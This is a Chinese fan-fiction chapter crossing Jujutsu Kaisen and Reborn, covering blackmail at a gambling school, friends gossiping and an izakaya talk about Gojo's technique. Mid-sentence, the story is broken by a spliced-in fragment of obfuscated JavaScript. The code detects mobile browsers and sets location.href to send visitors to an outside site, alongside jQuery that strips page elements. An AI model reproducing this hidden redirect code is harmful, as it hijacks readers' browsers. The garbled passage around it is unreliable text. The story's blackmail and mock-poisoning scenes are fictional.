小莳在对方越来越差的脸色中铁面无私铁口直断讲清了她的作案手法:“证据就在壶里面哦,敢不敢让你的小朋友揭开盖子,背着手在十把剑上晃一圈,看看是哪个幸运儿会被提溜起来?” “看不出来,您还是个追求稳定收益的保守派?看来短期内快买快卖的高风险股票不适合您,真是太遗憾了,如果大家知道备受尊敬的百合子前辈在被揭发出千以后连脏污所得都没办法退还的话,事情该直转急下到什么样子?”小莳抬起下巴,松开手,仿佛失去灵魂的西洞院百合子就如同她制造出的人偶失去操控的样子,头直直垂了下去,脖子失去了支撑作用。 “还是说……”小莳轻快的语调和好像留有余地的停顿,提现的人偶绝望中带一丝渴望地抬头,眼泪鼻涕全在脸上,表情难看的很,小莳有点嫌弃:“您那平安京开始发家的祖宗留下了不少可以偿还的财富,名画?古迹?宝物?如果这些都不够的话房产和土地应该有吧,总不会真没落到今天只留下一个姓氏。” 西洞院之姓流传至今并仍在政坛上活跃,这也是百合子骄傲的根基,然而她一介本家继承者之一,在羽翼未丰之时,家族不会为她付出超过本人相当的代价,如果被揭穿,她的一生也就和学园里的家畜一样了。 被家族抛弃,被学园践踏,西洞院百合子深知这一点。 所以在白发蓝眼的少女轻飘飘夸了一下她脑后的蝴蝶结,并且随意玩弄了自己的指甲说出“只要你在明天17点之前在我的账户上打2亿6千万,我们就一笔勾销哦~百合子同学,你也不想失去自己引以为傲的姓氏吧?”这样的话之后,她反而升起感激之情。 她的灵魂由衷震颤,她的骨骼隐隐作疼,胸腔被一股热气填满,像是要被驱动冲破喉咙呐喊。 小莳在最后的时候想起来了,这个装扮有点像京都高专那边的老师,庵歌姬。蝴蝶结窜出后脑勺,变成猫耳的形状,这个和她虚伪的性格有点反差,但是和服+猫耳的设定有点可爱。来学校第一天(她的第一天)还是要尽可能与人为善,给身边旁观的造物一点真善美的榜样,她选择了最方便的一条路,也选择了收入稳定的一条--十亿八亿拿不出,一个亿勉强还是可以凑凑的,西洞院百合子多半会乖乖打钱。 造物的尊敬、肉眼可见的收益、有趣指数不虚此行的上学一天,一箭三雕! 小莳离开之前没忘记拆了自己用幻术装的监控摄像头,谨防人翻脸不认账,她可是学会了耐心谋划谨慎小心的好姑娘,最后一次狡黠地回眸,明媚露齿一笑:“别想耍赖,我可是有好东西在手上。” 事到如今根本没人在意摄像头是什么时候装上去的。 到了屋子门口,不太讲究的的坐在地上穿鞋,然后小莳空着手,由奈亚拿着一切东西踏上庭院里未有人涉足的细沙。作为债主随性一点也没关系,反正弄乱了再请人扫出花纹就是,没必要在意这些细节。 庭院正中,小莳看见了被众人簇拥着走在回廊里的麻花辫口蓝女孩,她不认识这人,但对方妖异又美丽,她心情又很好,她就朝美人微笑,转头继续走自己的两点之间直线最短,离开带给她快乐的传统文化社。 还是文化研究社来着? 算了,在耀眼的夕阳和晚餐的诱惑下这些什么都不是,不重要。 给伏黑惠发了消息,告诉他大概要六点到高专,可以先吃点东西垫肚子,问他想吃什么。 得到了不需要额外带东西的客气回答,还有关心。 小莳回复他:那我买点章鱼小丸子,回去先一起吃。今天下午发力,赚了一个亿,过两天等我不来上课请你吃贵的。 伏黑惠发来一串省略号,小莳熄了屏幕揣进口袋,想起造物一段时间前的异样。 “奈亚,你刚刚想说什么来着?” “不,没什么。”他觉得现在一切还有机会,决定什么都不说让小莳不要操心。 “?连你也开始玩欲言又止吗?”一句话让满心都是造物主的立场不坚定者瞬间败下阵来。 奈亚坦白了一切。 西洞院百合子是一个稳妥前进但也有不小野心的女性,也兼具掌权者难以避免的贪婪。更重要的是她是学生会核心成员之一,和学生会长说得上话且在自治组织中有相当人事决定权的一席会员。 “也就是说……”小莳龇牙咧嘴吸了口气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413139|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 造物抿唇向她点头。 原来那一个亿是奈亚早就准备好以输赢送出去的贿款,多三千万也无妨,只要能在学期结束前得到推荐资格即可。奈亚本来是想在明天找西洞院百合子再来一局,在让对方意识到自己的技术更在她之上后再输点,摆明诚意,给够人情,以期换得主人的目标。 小莳拍脑袋,谁想到她太争气,把输掉的原原本本讨回来了,还通过让对方自愿赠与的方法又拿了相同的钱出来封口。还录了像。 确实,她在大部分时候说敬语都是在阴阳怪气,稍微熟悉点她的人应该都知道,怪不得奈亚想阻止她。 那个蓝色口红的女孩就是学生会长,估计是被眼见情况不对跑过去通风报信的社员搬来的救兵。幸好她结束的快,还选择了走直线,对方碍于威严的面子不好跳出长廊来找她。 本来想明天在上一天学体验一下愉快的校园生活的,先战略性放弃。奈亚完全支持她的英明决策,表示自己会处理好一切,请她放心。 以及用百合子似乎对她颇为感激的顺从来安抚小莳。 “我管她喜不喜欢我,重要的是同为高二的学生会长盯上我了。虽然对她有几分好奇,但这不至于让我赌上保送名额,明明想更稳妥一点的,失策。”本来以为要到高三才需要操心这些,未料早早地加入这一场游戏。 最近要肝的日课太多了,并盛模拟经营、咒术打怪升级,再加一个东大之博弈与保送就有点超出舒适圈,毕竟她现在是有男朋友的女孩,每天也有固定的时间要和男友在一起。 事情太多的话怎么享受恋爱的乐趣。 暂时先不上学了! 正合奈亚的意。虽然小莳惹出的事情远不算乱子,他也情愿为她解决一切问题,同时又期待和她的时时刻刻,可奈亚更愿意看到小莳开心喜乐。 学校这样无聊的负担她偶尔来参与一回便好,如果作为工作的一部分就太令人心疼了。 其实心疼的只有他一个。 小莳在最近每天的工作时间如她在涩谷那日和七海所说:“每天不超过4小时。”打败了大部分上学的同龄人,和没上学在打工的同龄人。 回到高专宿舍以后,小莳在和伏黑惠分小食。她挑着签子喂了伏黑惠一个,看他的表情应该是不难吃。 两人开始分别一天的闲聊,伏黑惠今天接了个临时带援救性质的任务,最终咒灵不出意外地被祓除,伤亡2人。虽然是在校生,但已经是能胜任一级的咒术师,能够作为咒术界的可用之人。 任务地点在一户普通的居民楼,最终两人死亡,结束后因为距离不远他顺道去看了津美纪。 “死者是什么来头?”小莳看出来男友心情不佳,大概不是因为他姐姐。 “裁员后无业的居民和她的男友。” 听起来很普通。 “她是怀孕后离职的,若非如此会在早上八点离开家去公司。”然后逃过一劫。 小莳在男友平淡的叙述里确认,这是两个可怜又不幸的人。今天无业的被害人1号因为孕反严重,男友请假留下来照顾她,超过日本80%的男朋友,也正因此成了2号。 有时候发生了糟糕的事情仅仅是因为巧合,大部分咒灵生来就是要伤害人类的,这对苦命鸳鸯只是刚好碰上,而这次公寓管理员只言片语让伏黑惠一下子理解了事情的全貌--无妄之灾,他们在他到来之前就咽气了。 完全不认识的陌生受害者,巧合中的巧合,意外中的意外,作为能够独当一面的咒术师,他什么都明白。小莳没有对此做出什么评价和劝慰,这事情她在十四岁的时候恰好有过相似的经验。 根据男友的价值观,小莳想,他大概是认为要给需要帮助且值得帮助的人更多救助,才能有效的维持社会均衡,才能最终达到平衡的效果。 因此才选择不平等的救助他人。 是很有正义感,并且会用自己的评判标准实施心中道义的人。他大概不会和自己一样实行把人头砍下来的事情。 在这点上五条悟很好的教会了他尺度,最低程度的确保带大的孩子不要乱刀人,尽量在【规则】之内行动。小莳在小时候和记忆里都受到了与寻常人不同的教育,所以展现出来的是杀手面貌。 那么现在…… 作为一个女朋友她可以做什么呢?让她想想。 伏黑惠说完了自己的一天,开始询问小莳关于短信中的额外收入,她用有趣的语言和男友描述了自己的非主流学校,“天下乌鸦一般黑,有权有势的人还要作弊,这再寻常不过,但她没办法从我这里拿到通行证。” 小莳对概率游戏不擅长,运气也是时好时不好,就和概率一样。 但如果有什么人为能操纵的事情发生,她多少能察觉,这便是属于她的敏锐。可笑的是,据奈亚说这学校里几乎都在出千,因此她一介不擅长拼运气的小女孩反而可以如鱼得水。 今天一看,果然如此。 哦对,开除怀孕女员工好像是犯法的,所以说啊,高位者还要犯规,这太冒昧。 小莳和伏黑惠描述了自己惊心动魄的社团活动,还讲了西洞院传说中从平安时代就流传下来的千年古姓,得到他有点迷茫的发问。 “好像有个建筑行业的巨头以及检察院的检察官都姓西洞院。” 她也不知道,并不关心日本政治。 小莳噘嘴:“这么说来百合子真的有点背景?我还嘲笑了一下她没落的家系呢,落魄失败了看来。” “总之她欠我一个亿现在,不然明天就身败名裂了。政界的希望之星居然有一大半都聚集在百花王学园?毁灭吧。”这句话她是认真的。 小莳没提关于学生会里的弯弯绕绕。 第二天,小莳和野蔷薇购物,听了她与纱织再续前缘的故事。 “等等这个词不是这样用的吧!小莳。” 小莳手里拿着免费的饮料--野蔷薇请客,:“说归说,你别脸红,显得你和纱织很那个……很真希。” “……真希前辈一定不会高兴听见你拿她做生活西化代名词。” “恭喜野蔷薇解锁新词汇LGBT,真希又不在这,她听不见。而且据我所知真希没有和哪个异性交往过吧?” “她也没和女孩子交往过!” 小莳自信:“我有一种直觉,我的直觉总是很准。” 高中生之间少不了恋爱话题,野蔷薇和小莳说起来:“真希前辈对乙骨前辈总是很温柔,胖达前辈说他们很有戏。” “那他磕了假的cp。”寸步不让,然后逐渐想起乙骨忧太的脸,“等等,乙骨忧太不是和祈本里香一对吗?”上一个试图拆cp的去年的去年已经死过一次了,难道又有什么新的发展? 他手上还有婚戒呢。关于乙骨即将和除了里香以外的女孩恋爱这件事情,小莳深深怀疑他本人并不知情同意。 野蔷薇将远在高专的熊猫隔空拉入这段讨论,作为引述:“胖达前辈说他只是在死路上不想回头,他才17岁,等乙骨前辈更成熟了自己就会走到下一阶段。” 小莳和胖达交往不算多,听女伴说了这话才深觉有理,她点点头:“说的有道理,比起背负上孤守一生沉重的枷锁,更难的反而是在日常涓流中抵御遗忘。”不过反正他还有一辈子时间可以选择,慢慢来,不急。 这和世界观好似也不不谋而合,小莳有时候真的怀疑自己生活在一个巨大的热血漫世界中,好像人只要有足够多的觉悟、热血还有虔诚,就能上达天听,得到不知道是否存在的神明一瞥,然后有如神助……说白了迷信程度堪比寺庙烧香心诚则灵。 她自己想来都不确信,只和六道骸说过此事,然后被嘲笑了一通幸存者偏差和皮格马利翁效应,还有一点幻术师不切实际的通病,在那以后她再也没有提起过这件事,只是随着对于咒术界的认知,这一久远的猜想再一次在心底浮现。 “话是这么说,但乙骨喜欢上谁和真希的恋情不构成因果关系,我还是跟着直觉走,她身边有什么女性朋友吗?”先锁定一个目标,再分析可能性。就算是和同辈八卦也要讲究逻辑,小莳把这个话题当成认真研究一样逐一排查。 野蔷薇的表情因为小莳的执拗和不听人讲话而变得屑起来:“……除了我和你就完全没有了。” “京都校那边呢?” “好像和三轮霞关系不错。在交流会以后她们就加了联络方式,前段时间他们来东京真希也和三轮出去了一趟。” “她不是,她和与幸吉一对呢。”小莳随手打消了三个答案。 “??什么时候的事,前几天还听见二年级前辈在讨论三轮受男生欢迎而不自知的事情。我记得他们说她单身。” “???”今日第一大新闻出现了,难道是地下恋情?不,两个高中生谈恋爱搞什么地下,没听说高专禁止教室恋情的事情啊? 小莳掏出手机就给与幸吉发消息。 领导同事在天堂:你和你女朋友在一起了吗? 很快得到了一串省略号和两个字。还没。 与幸吉……不是说在留车上留遗言的时候她还哭了吗?这是怎么一回事?小莳悲允地对投来好奇视线的野蔷薇摇头,很快她的表情传染给了对方。 72. 第 72 章 在和野蔷薇奇文共赏与幸吉发来的狡辩之词“我们是纯爱”后,小莳毫不留情在东京街头背后贬斥这种说辞:“他只是胆小鬼。不知道是不是还要等到高专修学旅行才能贴面吻。”反正与幸吉人在京都听不见。 然后她迅速锁定了最后一名候选人。不忘初心,最终为真希选到的喜结良缘对象是…… “禅院真依。”就决定是你了! 得到野蔷薇丧失表情管理的吐槽:“不仅是乱点鸳鸯谱,这都违背社会道德了吧!” “这是符合禅院家情形的,他们就爱近亲结婚。”纯谣言。 钉崎野蔷薇打了个哆嗦,那也没有这么近过。 “而且福尔摩斯说:排除不可能的,剩下即使再不可能,那也是真相。”小莳难得从记忆里挑挑拣拣又想起了青梅竹马十余年归来仍是同班同学的欢喜冤家,引用一下柯南爱讲的金句也算应景。 不认识福尔摩斯,但是他肯定不是这个意思。首先这个【一切】的样本只有四个就足够可疑,其次真依完全是四个选项里被拎出来凑数的,有没有一种可能这就不是一道四选一的单选题? 小莳叹气:“时间会证明我是对的。”问就是直觉。 野蔷薇被小莳无端的笃定所震慑,一会以后她忍不住发飙了:“快收起你这幅徒有其表的靠谱伪装啊啊啊!” 在履行对男友的承诺“请你吃贵的”之前,小莳先用一顿大餐安抚了野蔷薇的心。她还不忘在心里拉踩五条悟,她惹了人可是知道哄的,超过了百分之99%的白毛。 * 在那后几天,小莳被终于有空来见她的五条悟送上了迟来的生日礼物。 “真亏你还记得。”小莳直接拆了,是一把CZ-75IST,里包恩同款手枪,她从盒子里将其拿出:“这是?” “是咒具。” 那可真是贵重的礼物,一般来说是需要长时间输入咒力才能让武器咒具化的,他是怎么弄来的? 小莳用眼神询问他,得到了:“你怎么还不说谢谢”这样的回答。 好吧,“谢谢。”她接着问:“最近有这么忙碌吗?还是说你单纯地被折腾了。” 更有可能是后者,但小莳没想明白高层这样做的原因。 这个问题没有得到回答,对方只是在深夜的木质地板咯吱声中问她:“要不要出去吃点东西。寿司?或者别的什么,我知道一家居酒屋。” “……你有点奇怪了我跟你说。” “怎么了,这可是堂堂正正的邀约。” 不,邀约这个词汇怎么想都和堂堂正正这个形容词不沾边吧,不要说得这么正气凛然啊喂!小莳扭头就准备关门,却被拦进来的一只手挡住。 “疼疼疼,出任务受伤都没这么严重。” 小莳只觉得他无聊,松开手,对面前闻声赶来的造物招呼了一声:“送客。” 最后在五条悟拐弯抹角的表演被抽丝剥茧到他不得不承认自己却有要事,小莳才转了个身请他进来。 “你还真是冷漠,如果是学生们的话肯定问都不问就和我出去了。” 显然,这句话他自己也不相信。小莳明知道这是陷阱,仍然没忍住被诱惑着开口:“这么说来你和惠断绝师生关系了?” 她说话的时候朝走廊阶梯那端看了一眼,那里的灯光亮了起来,本以为是被不速之客惊扰,却没想到这一眼看到了本来不该出现在这里的男友。 伏黑惠:“……我听见了声音,所以……” 哎呀,头疼。 “既然来了,不如--” 小莳试图打断五条悟接下来要说的话:“等等,你要说的话是不是有点草率?” “我和小莳有点事情要去居酒屋,你要不要一起来?” 她拍脑门叹息的声音在夜里格外明显,倘若说五条悟真有什么要说明的事项,当下就不该另请他人加入;他现在的邀请突兀异常。 不过他看起来心里有数,那她也不替人操心。转头熟稔邀请男友,好像一切都平常:“一起来,惠,听说浅草桥那里有很好吃的烤串和黄油土豆,因为有创新的父亲晚上会选择折中方法带小孩一起去。真是符合社会风俗的评判标准,男人带小孩去居酒屋这样就是负责,女性的话带去娱乐场所更可能会被当作懒惰。总之不喝酒也没关系,说不定会惊现学龄前儿童,你不必为自己的校服感到尴尬。” 其实和校服一点关系也没有,有些话是很难说出口的,所以伏黑惠什么也没有说。 五条悟笑眯眯回应了小莳的吐槽:“因为大部分的话语权掌握在男人手里嘛。但是我的话可是超负责的带小孩专家!小莳你放心,我和别的男人不一样。” 说得好像以后他要帮她带小孩似的。“醒醒,被你带大的小孩在用灵魂反驳你。” 再这样下去两个白毛自己就要演起喜剧来了,这下伏黑惠不得不打断他们:“这个点出去做什么?” 五条悟在先前的说法上做了些无伤大雅的添加:“饮酒赏月。” 伏黑惠决定跟着去看看什么居酒屋还露天。 令人惊讶的是五条悟很懂公共交通,他知道该乘哪一班公交车,还知道在手机上看预计到站时间,催促小莳快跑。 好好好,天王老子在这里都得坐巴士是吧。 公交站台建在山脚,距离不近。 “你们知道市政府就在地铁站旁边这件事情吗?我是说,这边交通规划的也太糟糕了。”校长们出行都有专车接送,太腐败力! “今天的小莳好愤世嫉俗,生理期?” 也许不邀请男友才是正确决定,小莳被一句话噎到。在心里默默回答,只是晚上计划被打乱产生的类似起床气情绪。 她握住伏黑惠的手,使他摊开手掌十指相扣,安抚完男友才转过头去警告今夜的不速之客:“边界感,如果有个女的惠面前说什么【生理期来了】之类私密的鬼话,我一定会很生气的,你可是全日本第二会带小孩的专家,说话之前好好考虑。” 五条悟这会的表现就像个胜负欲达到顶峰的七岁小男孩:“你才不会,你只会把小惠的一切反应记在心里然后给他加减分。小莳才不在意无关紧要的人,除非那人说你坏话。” 可恶,准的离谱,五条悟你个拆台专家。小莳不说话了。 “第一是谁?”过会五条悟发问。 是伏黑甚尔。小莳在心里给出答案,然后用眼神传递出去。 五条悟精准get到,他很受伤,他要闹了。 小莳觉得这个笑话不适合在惠面前提起,赶紧制止五条悟的发作:“老师,你不会生气了吧老师,我和小惠只是开玩笑,今晚就由我赌王小莳来买单!想喝什么酒都可以!” 她并不知道五条悟不喝酒。 换了个靠里面的座位,最后一排现在的情况从左到右是五条悟、空、伏黑惠、小莳、窗户。她靠在男友的肩膀上,简单和他说明了情况。“就是这样,他大概好不容易找到时间了,真可怜,我同情他。” 五条悟的休息时间差不多就和她的工作时间一样多,虽然时间选在了很私人的晚上,但那也不完全是他的问题,可能他刚刚才得空。毕竟今天他连眼罩都没摘,平常都会用墨镜的。 “我听到了哦小莳。” “那你就听着呗,又不是我给你安排的工作,冤有头债有主,血别溅我身上。” 五条悟本来想接着她的话说些什么“豆沙了”,他知道小莳一定会配合的“好好好”,但是学生伏黑惠还在这,他没说。 没趣地向后靠,隔着黑色的眼罩,小莳看不清楚,但她推测他在闭目养神。 到店以后,人挺多,幸好有包间可以谈话。 隔音不太好,五条悟介绍的:“这里可是有个服务生养了四个义妹,说是要供上大学。”的八卦多半也被那个服务生本人听到了。 小莳在场,伏黑惠就不是那个会被第一个愚弄的对象了,他是对小莳说的。 “糟糕的生态,未成年人保护法呢?救救啊。”拿到菜单,第一个交给伏黑惠,让他点想吃的。对面露不满的五条悟说:“第二个给你,排队。” “你想喝什么酒?这里种类还挺多的,我好像听家入医生说过,是她常光顾的对吗?” “我不喝酒,喝蜜瓜苏打还有薯条、炸鸡、黄油玉米。”简称儿童套餐。 “??那你说要来居酒屋干什么?一般只有午餐才会有不喝酒的人来吃饭吧。”现在可是大晚上。 “小莳不喜欢薯条炸鸡吗?大家都喜欢的东西才是正义啊!” 她随口反驳:“不知道为什么有一种在医院门口贴殡葬广告的挑衅感,太奇怪了吧。” 伏黑惠点好了,小莳看了一眼菜单,伏黑惠勾的姜汁汽水。 五条悟说:“那你喝。” “我答应征十郎20岁前不喝酒的,有次喝兑酒小甜水被他发现了,人在屋檐下,不得不低头。”小莳顺便给自己选了可尔必思。 五条悟首先勾了蜜瓜苏打,一看,无酒精饮料一栏赫然三杯小甜水。 “小莳吃薯条炸鸡吗?” 被提及到的人松开男朋友的手,回话:“吃。我刚好像看见芝士炸鸡了,帮我点那个,我要吃芝士的。” “真假?”五条悟被这句话戳到了,不等小莳问他,就开始大肆宣扬芝士应该配甜食的说法。“芝士是甜食国居民!” 小莳很轻易接受了五条悟奇奇怪怪的说法,并开始和他辩经:“是这样的,它在甜食国是甜食国居民,在料理国就是料理国居民。有绿卡,你别介意。” “我不接受,哼!” “没事,那我和惠吃,你吃你自己的。”小莳接过了五条悟递来的菜单,发现他点的东西出奇的少,算来只有土豆泥、儿童套餐、蜜瓜苏打,“你不吃海鲜吗?” 来都来了,小莳点凉拌海胆茄子泥、带子、以及蟹。 五条悟晚上在车上吃过面包了:“艺人一般的自律才能造就好身材。” 紫原敦经常说自己是吃甜点长到两米的,小莳觉得这两位认知障碍一定有很多共同话题。她也很爱吃甜食,怎么没长到1米8. 伏黑惠问小莳:“你很喜欢吃海胆吗?” 她很诚实地回答:“只是看到惠就觉得应该点一份。”然后在男友的红脸背景下笑得前仰后合。 三杯饮料上得很快,小莳尝了一口伏黑惠的姜汁汽水,然后今晚再也没有拿起过。 “你要喝可尔必思吗?”她这么问着,旁边的男孩凑过来就这她的习惯喝了一口。 这一切在对面的五条悟看来格外碍眼:“你们两个偷腥猫,我也要喝!” 小莳眼疾手快抬起自己的杯子,“想喝自己点。” 她其实不在乎五条悟从自己这里分点东西走,对朋友也不设边界,但伏黑惠在意。作为优秀的伴侣是要好好考虑对方的心情的,她于是对五条悟就冷酷无情起来。 惠的同辈压力一直挺大,大概率遗传。毕竟……小莳回神,看着对面这个大龄儿童,所以他到底为什么要把自己喊出来? 五条悟的神色变得哀怨,控诉:“你以前不是这样的,小莳!” 她不为所动:“以前是以前,现在是现在。” 对方揪下眼罩盯着小莳看了一会,莫名其妙,六眼又看不到心理活动。然后一脸稀罕:“你对小惠居然这么认真!” ……伏黑惠此时诡异的产生了一种“被对象带出去见朋友,然后被狐朋狗友羞辱了一顿”的错觉,然而眼前说出冒犯话的人是他从小就认识的老师。 在他想好自己要如何回应之前,他的女朋友更敏捷且更有力的回应了:“等奈奈做上奶奶你都找不到女朋友,正常女孩听到你这话就该溜了。”让伏黑惠觉得自己正在被坚定的选择。 从来没钟情过谁的五条悟闭嘴,话题就此终结。 等东西上齐,小莳眼看着手脚麻利的服务员把门合上,才主动选择进入正题,正好她还欠五条悟一份关于术式的分析报告:“今天我们之所以欢聚在这里,是为了分析无下限术式的适应范围和运行逻辑,以及在何种条件下它会被解除。” 伏黑惠没想到小莳突然开口就是说这些,他现在觉得自己不应该来。 五条悟在身为老师的时候格外敏锐,他在学生开口前就用玩笑的语气说:“嗨~,理论上来说能干掉我的人已经都在这个房间里了,小莳说的内容说不定会对我们都有启发。” 什么启发,怎么干掉老师的启发吗?虽然这样想着,他把目光投向小莳,准备听她要说些什么。 小莳从初来时说起,万圣节涩谷的大事件。她和伏黑惠解释了与五条悟的初遇:“他看到挚友就走不动路了,所以我后来独自跟踪了一下真人。”业务原因,小莳的隐匿行迹能力很强。 她听见了两个敌对方关于灵魂和□□的讨论,以及真人所说的“术式即世界”。咒灵的形体完全是意念合成,它们大概拥有着比人类更透彻的对咒力的领悟。如果灵魂是真的存在的东西,或许咒灵们是直接抛弃形体而直接进入灵魂之存在的更高层生命也不一定……只是大部分咒灵就像几亿年前原始的、生生灭灭的单细胞生物一样,没有思想,也没有繁衍的能力。也许几亿年以后地球上人类和远古的恐龙一样销声匿迹后,主宰者真的会变成舍弃了无用肉身的咒灵--它们可以视为天生就掌握了反转术式,咒力足够基本没有天敌,一定程度上也算是脱离了老病死的限制。 小莳把现场的情况转述:“杰的身体仍然在制止这个侵占者,或许悟你有注意到他那天是用左手和你打招呼的吗?因为他的右手正在极力阻止这一切发生。这是被那个家伙亲口认证的--” “羂索,他的真实身份是几百年前不断发动术式侵占尸体的诅咒师。” “OK,羂索。说来他说了很有趣的内容,这算题外话。他觉得人死后身体还有反射很神奇,但是狠狠嘲笑了这一行为,将其比喻为身体抽搐的断头蜻蜓。”小莳说完以后露出了一个想不通的笑,她有点纳闷,“我想这世界的巧合也太多了,但有没有一种可能性【命运】这种东西是固然存在的呢?你知道甚尔和我说过,在他第一次见到你的时候,在飘雪无人的路上,你所穿的衣服就是蜻蜓纹样。他说不仔细看会以为是蜻蜓断了头,因为那蜻蜓是个大小眼,总之和一般‘出人头地’的吉兆不太像,也可能是他被你发现了所以心情不好,毕竟他很记仇……如果你家没扔旧衣服的习惯,说不定那天的衣服还能找到哦。” “一年之内接连两次在一对挚友中听说了这个意象,我其实总会想起,正好配着薯条和土豆泥一起分享出来。接下来才是正题。”小莳蘸了番茄酱,塞进嘴里。 咀嚼后下咽,在喧闹的背景音和听众都没发出声响的室内继续开口:“领域展开的过程就不说了,反正我那个也只有一次成功,而且对于过程我也稀里糊涂的。你们知道我身上并没有生得术式,也没有通过特殊的手段习得术式,那么按道理说撑破天我也只能释放简易领域,新阴流之类的--如果我能去学的话,这还是不传之秘。” 那天在领域中,对她并不了解的真人开始术式情报公开,小莳那时还不明白那样的行为可以增幅,但反派自爆技能也算是给了她情报,虽然彼时的她以为真假难辨。 “在我的领域里真人没办法转化我,即便在他实打实触碰到我的时候也是如此。我并不觉得这是必中被解除和游戏里类似于miss的设定,也不觉得这是我突然顿悟了用咒力保护灵魂的方法,仅仅只是,他各种意义上的没办法伤害到我。”看他有点跳脚的样子还挺有趣。 小莳不知道咒术师是怎么给自己的领域起名的,还是说只是有一行字出现在脑子里,他们顺应看到的内容大声念出来,她的不垂堂甚至是一个病句,只是听起来像那么回事。 --千金之子,坐不垂堂。身份高贵的有钱人在家里,起行坐卧皆不会靠近屋檐处。 因为古代建筑质量不好,瓦片砸下来到人头上就一命呜呼了。垂堂指屋檐,坐不垂堂指不坐在屋檐下,不垂堂就像是句子缺少了主语谓语,不知所云。小莳说出这三个字的时候像在梦中:有的时候人做梦会说出一些认为极富哲理并且可以传世的佳句,有人甚至会在半梦半醒间找个备忘录记下来……醒来以后再观之却发现狗屁不通。 但仔细一想自闭圆顿裹、无量空处、盖棺铁围山听起来也都很厉害但实际真要分析发现只是支离破碎 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“荒唐!实力不济也就罢了,但是这种屏障、这种束缚下的天花板存在,我才不要被它们支配。真人对我说,这是战争,他没有说错,真理只在子弹的射程以内,你死我亡的零和博弈里,我对于赢和活的渴望足够让我挣脱这一系列可笑的约束。毕竟你们知道的,规则,就是用来打破的!” “这世界上、宇宙深处,有那么多沧海遗珠的领域等待探索,我的野心并不覆盖到那么深那么远的地界,但无论如何,至少要过好属于我自己的人生。” 说完这话她放下空杯,那里曾装盛着满满乳白色酸甜饮料,少女齐整的指甲盖泛着粉,指节手背在灯照下莹莹透着光泽,而她说话的神态精神焕发,风采动人。 小莳说完以后才意识到这些和无下限关系不大,但是原理相似,她就像每一篇走题作文的书写者一样,在最后勾连了一下主旨,她吐了吐舌头然后对对面的五条悟微笑:“你的无下限既然源自阿基里斯悖论,那我当然也可以否定它。术式即是世界,对于我来说,时间与空间并不是可以无限分割的,即使我能用幻术制造出缩地成寸的现象,在心底里我也并不相信这符合严谨的数学、物理学定律。所以说:总有一个最微小的时间单位里,阿基里斯超越了乌龟,而我能触碰你。” 她就说吧,大家都只不过是很难鲨,但并非不可能。金牌hitman泽田小莳参上。 全场焦点拿起筷子吃了一口土豆泥,又吃了一块炸鸡,直到她将骨头吐出来,五条悟才怔怔地对她说:“小莳。” “嗯?” “那天能在涩谷见到你,实在太好了。” 五条悟很少有这种老实人发言,小莳嘴里含着东西就和他说:“你这是跟虎杖学的?”这对师生还真是……互相渗透。 和难得沉默的老师一样,伏黑惠从头到尾都听小莳一人发表演讲与宣言。 头一次直面自己与女友的高下之分,这其中相隔遥遥他早已知晓,而今天他又意识到了一份决定性差距,以及随之而来的怯懦和自卑。 他觉得自己追赶不上。 她有着与实力相当的自信,还有一点点几乎可以称之为冒进但并不会失手的勇气,以及……让他觉得绚烂耀眼的笃定从容。 伏黑惠低下了头,直到小莳欢快地拉着他的手,提议作为中场休息的娱乐,大家玩一个游戏。 “既然在座各位都是可以把五条悟干掉的人,此情此景,正适合玩发散思维的假想刀人游戏!”小莳搬出了瓦利亚口嗨项目,并欺骗大家说:“这是彭格列传统。” 就像阿纲每一次被自己的老师忽悠那样,两位听众纷纷表示不相信,其中目标对象尤为不满,被小莳用一句他本人口头禅GreatTeacherGojo扼住了命运的咽喉。 他嘟囔着:“这比咒术大奖赛还烂活。”,被伏黑惠呛声:“你也知道那是烂活。”,优秀教师彻底沦落到被安排的命运。 小莳用伏黑惠的汽水空瓶子充当话筒:“首先是被害人走马灯时间,你觉得自己会遭遇怎样创造性的死亡?” “小莳老师!”五条悟虽然开始前很不情愿,但是立刻进入了状态,举手提问:“走马灯不是这个意思吧!” “闭嘴,在座各位都是没死过的人,所以我说什么就是什么。你要不要发言,不发言你就是尸体了,尸体不可以乱动。”如果发言的话就是留下遗言的尸体,还是不可以乱动。 小莳的独断专横也是特级的,五条悟三秒后泄气,他想不到自己作为最强有任何可能被干掉。 被裁判打了负分。 “我不服气!你又是裁判又是参赛者!” 小莳听不见尸体说话,诚邀下一位参赛者发言:“放心,有人垫底了,惠你畅所欲言。” 伏黑惠在严峻的思考环境中,因为女友的话进行了3秒思考,他说:“魔虚罗……应该。” 五条悟的“小惠你怎么可以这样对老师,这是弑师吧!不可饶恕!”背景音完全没有入小莳的耳朵,她摇摇头:“零分。” 意料之中的答案,小莳摊手:“嘛嘛,毕竟大家都是经验浅薄的年轻人,比不过我这个入行十年的老前辈。居酒屋第一届假想刀人的桂冠就由我堂堂拿下!现在是冠军发言时间,败者们请听好了。” “是我的话应该会给你的甜点里微量下入代谢量之上的精神类药品,直接作用于神经。据我了解悟十分缺乏医学相关知识,反转术式不足以自行疗愈。而且反正常年不睡觉神经痛头痛都是很正常的现象,而且说实话人年过30就在一步一步老去了所以--”躲开了五条悟的捂嘴,小莳在男友身后接着说,“其次是家入医生,她可是有专业医师资格证的,得把她干掉,但是干掉医生并不很困难所以在此我们即视为她已下场。” “第三,这才是正题,现在五条悟已经精神不正常了,作为邪恶的幻术师,当然要在幻术层面击溃他,总之这样那样一通以后把他拖到了被我提前施造的幻术场景中,在那边有大约2万平民流窜,总之就在这么一个混乱到甚至能引起大规模踩踏的环境中,被我干掉了。” 值得一提的是,在整场颁奖典礼中,并没有任何一位医师和任何的平民遭受伤害。 五条悟指出这十分不严谨,而且案例几乎是全盘抄袭涩谷,对裁判评分准则表示质疑。伏黑惠被打了零分不是很开心。 小莳分别点评了手下败将们:“没看清前提条件是既定的结局,审题不严谨,扣光咯,再有意见也得等到回魂夜。”实际上游戏里根本没有头七这个设定。 但她有事参赛者吗,又是裁判,又是主办方,她说了算。 